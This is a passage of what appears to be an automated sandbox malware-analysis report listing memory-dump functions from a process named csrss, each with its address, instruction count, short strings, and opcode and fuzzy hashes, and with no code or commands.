Instruction Fuzzy Hash: 70115963B0B56547D216A76DEC668E837D0EF06118B4800F7C698CB1A3FC05A80F82A1

Function 00007FFD9B8A8835 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFD9B8A886A

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: L_^
API String ID: 0-925995230
Opcode ID: 71669d6356cdeed0b8ad357d748c6b34e5920080eca74e43ab5b91e98c96db7f
Instruction ID: c01d73b5b6b0e316320c80f6c3f3bf6f9c2cac1517039030c227a4fbdedf6114
Opcode Fuzzy Hash: 71669d6356cdeed0b8ad357d748c6b34e5920080eca74e43ab5b91e98c96db7f
Instruction Fuzzy Hash: 3A11A373F0A6488FD705975EDCA64A873E0FF54714F45017AC494C7122FA24656AC652

Function 00007FFD9B8AAAD9 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8AAAF6

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: da265727c71a32f59b277412d735421b616e7f2b1c43e4fcb8cfa5dca2f46b41
Instruction ID: 67b6488945c832d8ba768f301203aab5b201a36448326290758e3be27e20971e
Opcode Fuzzy Hash: da265727c71a32f59b277412d735421b616e7f2b1c43e4fcb8cfa5dca2f46b41
Instruction Fuzzy Hash: 83F0A06060E3C44FC7169A3488688147FA0EE2721074A42EFC045CB1A3EA299885C701

Function 00007FFD9B883F19 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B883F36

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 1b69e6b1943044ce1b9af6afa33e622c71403f58ff32901ae15ba1edd6d4cfd4
Instruction ID: 811fc8bac6d9226ad873ce454fa9f9f373721025d026f8ab8d4c5bfcb1b97e6b
Opcode Fuzzy Hash: 1b69e6b1943044ce1b9af6afa33e622c71403f58ff32901ae15ba1edd6d4cfd4
Instruction Fuzzy Hash: 80E09271A0E7C48FCB16EB348869454BFA0EF6731174A41EEC086CF1A7EA2DC885C701

Function 00007FFD9B8AAB69 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8AAB86

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 2d52335662db6b34e2dc576bac7aa59626ebc0c81f4ca58b9423d45d0da6818a
Instruction ID: 47ffd56b3eacac617764a9f03734e4df8faaed829993c817344c3c981ee0f1fe
Opcode Fuzzy Hash: 2d52335662db6b34e2dc576bac7aa59626ebc0c81f4ca58b9423d45d0da6818a
Instruction Fuzzy Hash: 54E06D3060E3C48FC71AAB34886D8547FA0EE6721134A42EFC445CF1A3DA2D8889CB11

Function 00007FFD9B8A21E9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8A2206

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 7a7bf5cc87cf0f2db89d27af13f1c36a0fcff881f08f096d86ad286f20c42c71
Instruction ID: 9b5451538e97f11049cacd1d3823bc77e6aeb8fb5c22b57561cadec6a7eb592a
Opcode Fuzzy Hash: 7a7bf5cc87cf0f2db89d27af13f1c36a0fcff881f08f096d86ad286f20c42c71
Instruction Fuzzy Hash: 8BE06D2160E3C08FCB16AB348868455BFA0EE6720174A56EFC096CF1A3EA2D8985CB01

Function 00007FFD9B8A3479 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8A3496

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 9662a6f0a7edc4b4c64f0a28711b2642a6b50315399ebaa1afd990c2c15976a2
Instruction ID: f7972fa8e2399312a961f1db5e1e13d47d86147c4e48fa175aa956a0419096b4
Opcode Fuzzy Hash: 9662a6f0a7edc4b4c64f0a28711b2642a6b50315399ebaa1afd990c2c15976a2
Instruction Fuzzy Hash: C9E06D7160F7C54FC71AAA388869454BFA0EF6720174A42EFC045CF1A7EA2D8889C701

Function 00007FFD9B8AB0A9 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8AB0C6

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 025812da9b57781050244f5f3bab5ff16cc2c990822aefb784938cf8651c5461
Instruction ID: f800a8de3e180ca19e73094ac45cf6e3ab7ca66176d1a2012793bc54527275ec
Opcode Fuzzy Hash: 025812da9b57781050244f5f3bab5ff16cc2c990822aefb784938cf8651c5461
Instruction Fuzzy Hash: 8DE01A6194F3C44FCB56EB7588A58443FB0AE6B61078B51EEC085CF5B3E62D9849CB01

Function 00007FFD9B8997E9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B899806

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 8a7616099330320ad80fd803be011ffe0683e1c26a0d6ceb6c90948616b767a5
Instruction ID: d67d9b66d6c0fbcd1a4ffb2d25aa3f47487dc72fab7f9f62f6e0fb8fb8d6bbcb
Opcode Fuzzy Hash: 8a7616099330320ad80fd803be011ffe0683e1c26a0d6ceb6c90948616b767a5
Instruction Fuzzy Hash: CAE01A7054E3C44FCB1AEB7488698457FB0EE6721078B41DEC08ACB1B3D62D9949CB01

Function 00007FFD9B899639 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B899656

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 7247003ca5b97fadda3c35822f1e54f7a41b73f5cc0e3e4eb6044cebfb6a18be
Instruction ID: 6d3687cf97821300e2278cf150a5c4a00bb336e4bf866895e2fac8b241e1423e
Opcode Fuzzy Hash: 7247003ca5b97fadda3c35822f1e54f7a41b73f5cc0e3e4eb6044cebfb6a18be
Instruction Fuzzy Hash: 1EE04F7054F3C04FCB16EB7484A99457FB0DE6721078B41DEC08ACB1B3E62D8949C701

Function 00007FFD9B895D39 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B895D56

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: bdd2886ea5a8dd4375fc87499eb8ee2b6469fe30472e4709303c280af103ee7a
Instruction ID: 54ef55b25012882e3e6c10cb40c4a729058a5bd97f59601918b4d900a40651d9
Opcode Fuzzy Hash: bdd2886ea5a8dd4375fc87499eb8ee2b6469fe30472e4709303c280af103ee7a
Instruction Fuzzy Hash: E3E01A6194E7D44FCB56EB7488798447FA0AE6B31078B40EEC086CF1B3E62D8949C701

Function 00007FFD9B8A83D9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8A83F6

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 993ceb934e0c71c789c9eebdcd71252311494a13bfeace6691bc2892406647bd
Instruction ID: 6742b5389367e6f800bb7b24b142e0befbfa6c2a0f2bd58969527ee57be0a066
Opcode Fuzzy Hash: 993ceb934e0c71c789c9eebdcd71252311494a13bfeace6691bc2892406647bd
Instruction Fuzzy Hash: 5AE01A7154E3C04FCB16AB7488698457FB0AE6B21178B41DEC08ACB1B3D62D8949CB11

Function 00007FFD9B8A2279 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8A2296

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 214aa718aad9587886429d30f7064a9429d02363fff2a515ef5b235b957f1d06
Instruction ID: 04ed080fdfbf16e2c8da8beb5eb2622c6c8af6fe50b425005675e6fb2d62501e
Opcode Fuzzy Hash: 214aa718aad9587886429d30f7064a9429d02363fff2a515ef5b235b957f1d06
Instruction Fuzzy Hash: E6E04F7154A3C04FCB16EB7484A98457FB0EE6721078B41DEC08ACB1B3E62D8949C701

Function 00007FFD9B8A7595 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fac3745cead01e3d942e219317af5ebc61f86646a13de0d3f2f598a2989cc796
Instruction ID: 258bde1430654d5d50477df935c8056e93489c1da4cc84894c776102859bb196
Opcode Fuzzy Hash: fac3745cead01e3d942e219317af5ebc61f86646a13de0d3f2f598a2989cc796
Instruction Fuzzy Hash: A6C14431B0E6898FE765DB68C8646753BA1EF4A314F1901BED04DC71E3CA29AC46C7A1

Function 00007FFD9B899821 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1613641dcaa7a5cc042d3b4121758a7f984e70f05ea71ab28f8c4531d053c758
Instruction ID: 85df40014e8088cbf57c8f8341ffd5082e4946bdfc79ed0714ad319c44081005
Opcode Fuzzy Hash: 1613641dcaa7a5cc042d3b4121758a7f984e70f05ea71ab28f8c4531d053c758
Instruction Fuzzy Hash: 21A1A270B1990D8FDB58EF68C4A5AA977E1FF98314F5146B9D01EC3296DF38A842C740

Function 00007FFD9B8708D0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a41eeae7850820b02035925c33955f9d67073fa812f666230bdf4e64eccbf91
Instruction ID: 59731b018543771c5916bf0b9a3090ba23ed0394db01c11c7e5f9e47d58119e8
Opcode Fuzzy Hash: 0a41eeae7850820b02035925c33955f9d67073fa812f666230bdf4e64eccbf91
Instruction Fuzzy Hash: 44416A22B1D5694EE708F7BC74BAAF97781EF89328B0505FBD04DC71E7ED1868428284

Function 00007FFD9B870998 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46c9ab1131711809789dbbbd423a4e82ce0bc217f9446bccadbf5ef58b6c23bf
Instruction ID: a50dc71402b71843b3802cf245b545f01c8a1ab1b97e08f73f296fd01e061102
Opcode Fuzzy Hash: 46c9ab1131711809789dbbbd423a4e82ce0bc217f9446bccadbf5ef58b6c23bf
Instruction Fuzzy Hash: 38213810B2E95E0FE758E76C54BA77976C6EF9D319F4100B9E40DC32E7ED24AD418281

Function 00007FFD9B8A8768 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf76683afab61c86dfe149e9c5baefd1a758f1d58c02e1c959b116f0b9bb85a
Instruction ID: c1aea668544eebe4ecd57ff2e7c42e2ef235d506dba27616229ee5cc27ac19f6
Opcode Fuzzy Hash: cdf76683afab61c86dfe149e9c5baefd1a758f1d58c02e1c959b116f0b9bb85a
Instruction Fuzzy Hash: 47218A73B0B1598BE71A9B6EDC664D837D0FF1121CB4940F2C5988B193FE24740F82A2

Function 00007FFD9B8A87B8 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d49a91597d5267b72f2f24286d9868cdca03cd7d4e1f25b34a13a55f049d63
Instruction ID: e6fc277365ee1e3d7bbd1c7a8d587c8e56aa4a93b7a93199bbcb3d170fba2b5f
Opcode Fuzzy Hash: 72d49a91597d5267b72f2f24286d9868cdca03cd7d4e1f25b34a13a55f049d63
Instruction Fuzzy Hash: 22214DB3A0B1594BE70AAB6DEC664D837D0FF1525CB4911F2C658CB193FE24750F81A1

Function 00007FFD9B8A26A8 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0df37b18578ab9fa1c7833695979daef7b3729354e1ab0e12562487c651ec596
Instruction ID: 1d34688bd8fa5e2d7e116f503a2b3a0d422a81d7937b5eb23a0ed50cbd406381
Opcode Fuzzy Hash: 0df37b18578ab9fa1c7833695979daef7b3729354e1ab0e12562487c651ec596
Instruction Fuzzy Hash: 67210B22B0E94E4FE7A8EBE898B67F563D1EF58314F0502B6D50CC31E3EC292A854351

Function 00007FFD9B870C25 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db6e78e1bc8e3a8cb79ff3c2c20e4534e98012c6363d2af2168c2f7306b17f64
Instruction ID: fc6aaf7c21bf12cf939ea2476abe7b846555d459f025041008501fc47640ce74
Opcode Fuzzy Hash: db6e78e1bc8e3a8cb79ff3c2c20e4534e98012c6363d2af2168c2f7306b17f64
Instruction Fuzzy Hash: 15214B35F1D24D8EFB26E7E898A90EC3B60DF86328F0541B3D048C70D3D9282646A351

Function 00007FFD9B8AB360 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f7eca28dcd04aa9fbc0da06df449f10bdd59fb42de2317778732b035f060191
Instruction ID: a26f7c7b4ca355c0369622ad54d13e9a8ce8d8cb0839f485c8da85ad625c18c4
Opcode Fuzzy Hash: 1f7eca28dcd04aa9fbc0da06df449f10bdd59fb42de2317778732b035f060191
Instruction Fuzzy Hash: ED21AF31F0A92D8FEBA4AB9884A57B972D5FF5C310F410276D40DC3191EA386D818791

Function 00007FFD9B88458D Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3da832a9810beaded39d67aff647c4b61a4e1e3a2356be6bbc3d13a0a499246
Instruction ID: 1f09b43d5894bc43ed1f3ea2b45246dcb098740e519eb8447fec8bd24a5331fd
Opcode Fuzzy Hash: f3da832a9810beaded39d67aff647c4b61a4e1e3a2356be6bbc3d13a0a499246
Instruction Fuzzy Hash: 23213D31F0991F8BEB64DB94D865ABE76B1FF48304F540639C12AD62D9EF786A018780

Function 00007FFD9B8A8790 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfb6b773b9eaed2b2964cc1c56cb745de3c26d681838d1ab0db5fca206cee648
Instruction ID: ec166582c81608c4ec613ad484250736ab7a808c9b1a064c77b7533b25b019f4
Opcode Fuzzy Hash: dfb6b773b9eaed2b2964cc1c56cb745de3c26d681838d1ab0db5fca206cee648
Instruction Fuzzy Hash: 53115C73B0B55547D706A76DECB68D837D0EF0212C74C00F7C1998B1A3FD14644B8295

Function 00007FFD9B8A2972 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8254622bc5f34ac5f2a1f62283f7791dfd6867ebeee685596511f525a14ce4a
Instruction ID: 9afb7e3713c4fb4a1acc25948f680fa9563c00db8a965e6891c7100275ddad78
Opcode Fuzzy Hash: f8254622bc5f34ac5f2a1f62283f7791dfd6867ebeee685596511f525a14ce4a
Instruction Fuzzy Hash: BA11E431B0991E8FEB78DF84C8A17B873A1FB58710F0502BAD409D32D6DD286D418792

Function 00007FFD9B87108D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ebca1d6af004039a8da6db21ade9e7664fa9ed132f3f699474d75de0c0fb99c
Instruction ID: 8c8c736c1f9b478a94bc79e7e7c2879a6c12974efb98ee8cc9ac9055ee69a074
Opcode Fuzzy Hash: 0ebca1d6af004039a8da6db21ade9e7664fa9ed132f3f699474d75de0c0fb99c
Instruction Fuzzy Hash: 11012B21A8F6D50FE32957B05CB29A13FA0DF8721470A02FBD089CB5E3C84D59868351

Function 00007FFD9B874254 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00b161225381f661c8d08b1dc6e711fa7a744a9b36b19800920078fb89d13ccf
Instruction ID: 5d1a1196d1fe5ea69255f6cd6c2eefc4fc2e7c2e54d982244fc8f7a96144f1ca
Opcode Fuzzy Hash: 00b161225381f661c8d08b1dc6e711fa7a744a9b36b19800920078fb89d13ccf
Instruction Fuzzy Hash: DE11DD30A1951DCFDB65DB58C4A4BAD73E1FB58315F1901A9C10EE72A0CB34AE80DF81

Function 00007FFD9B870C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aab6de76c75ad67583c9e771c1b64bd4e8df1db7ec99d0bb990882ae144c949b
Instruction ID: f5f17fc91992828d597c95c9c7fa41d16cf65e20f27d1ce58e8e4b927b016f02
Opcode Fuzzy Hash: aab6de76c75ad67583c9e771c1b64bd4e8df1db7ec99d0bb990882ae144c949b
Instruction Fuzzy Hash: CD11E331F1E28D8FEB22DBA888A909C7BB0DF96718F0600B7C084DB1A2D53827059780

Function 00007FFD9B870C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b81e85eabd3819ab7ba832408d14a0570d4900b37e45701c5918c98c61aa576
Instruction ID: e6714f06af9f16555a77b394b44ba3cc7b97000d85b9ed2c86228b720411fa1d
Opcode Fuzzy Hash: 2b81e85eabd3819ab7ba832408d14a0570d4900b37e45701c5918c98c61aa576
Instruction Fuzzy Hash: 6011E531E1E28D8FEB12DBA8C8A409C7FB0EF56718F0601F7C084DB1A2D53827059740

Function 00007FFD9B874299 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed19a1a2db9722975fd498ccece35b9c3b547e3dd728a309ea8bad487e8c4a7a
Instruction ID: 2af01b7a57eaf74adef6465f0c1c0d99e60de85f6df842ccbdfc7b34cda58042
Opcode Fuzzy Hash: ed19a1a2db9722975fd498ccece35b9c3b547e3dd728a309ea8bad487e8c4a7a
Instruction Fuzzy Hash: AC11E830A1992D8FDB64EF44C4A0BA9B3E2FB59315F5505A9D00ED72A0CB74AE84CF81

Function 00007FFD9B8ADE69 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 634e05928ca9ec141b072b7cfc79b697fdfde482288b2c523ea4a9cd51d22b19
Instruction ID: 26347ce2fa478cf3d514a795acc5aa2e6456502890d10c4e5b8a7d37049f93eb
Opcode Fuzzy Hash: 634e05928ca9ec141b072b7cfc79b697fdfde482288b2c523ea4a9cd51d22b19
Instruction Fuzzy Hash: 60012C31F0641A8BEBA4E79898643FC73E1FFA8741F010476E109D7191DA29AE918790

Function 00007FFD9B870C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63cb6cc421d71c463c086b222d15047375d6a833cbaa288d91041a174e5e643c
Instruction ID: 7805632a9c1574d0b007a128e3193a71bda2df574890cc817272580a7b875308
Opcode Fuzzy Hash: 63cb6cc421d71c463c086b222d15047375d6a833cbaa288d91041a174e5e643c
Instruction Fuzzy Hash: 0401D631E1E28D8FEB11DBA4C89409C7FB0EF46708F1601F7C044DB1A2D5346B459740

Function 00007FFD9B89E975 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee70b05150a5ac53149a586dbea83534dae26ea252d65ebe85a3fb8bbc1d1653
Instruction ID: 385348d85d2b399958ae2fc7a85c699339d856a09ddfb8f06e65cdd3db3a0894
Opcode Fuzzy Hash: ee70b05150a5ac53149a586dbea83534dae26ea252d65ebe85a3fb8bbc1d1653
Instruction Fuzzy Hash: 01F02712B0FACD1FD7A683AC28601506FD0EBAA16074A03E7D088C72A7D80898464392

Function 00007FFD9B896905 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 072a3cbb5572fa8c65814df73d4f12bf32fba2feee8e80430b2391cc1480da99
Instruction ID: 69590eaecd2833ca3814a4bd4673da782265988b0f37a14eb4be2686dbc3e299
Opcode Fuzzy Hash: 072a3cbb5572fa8c65814df73d4f12bf32fba2feee8e80430b2391cc1480da99
Instruction Fuzzy Hash: 27F0BB71B0FA8A0FE722977948706687BA0EF55350F490277C059C72E3DD5C96468385

Function 00007FFD9B870C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03b0c23be1ad4515b31303fff706d551b85dfa450272dff07b45d71d4f6124b8
Instruction ID: 36cbb5b6597ee5a6d2e67049dcc58440fdcae238af05edf72fd3e7072e94bf1c
Opcode Fuzzy Hash: 03b0c23be1ad4515b31303fff706d551b85dfa450272dff07b45d71d4f6124b8
Instruction Fuzzy Hash: DC018430E1E38D8FEB21DBA488A819D7FB0EF56708F1541F7D084CB1A2D9386B449741

Function 00007FFD9B8845CF Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

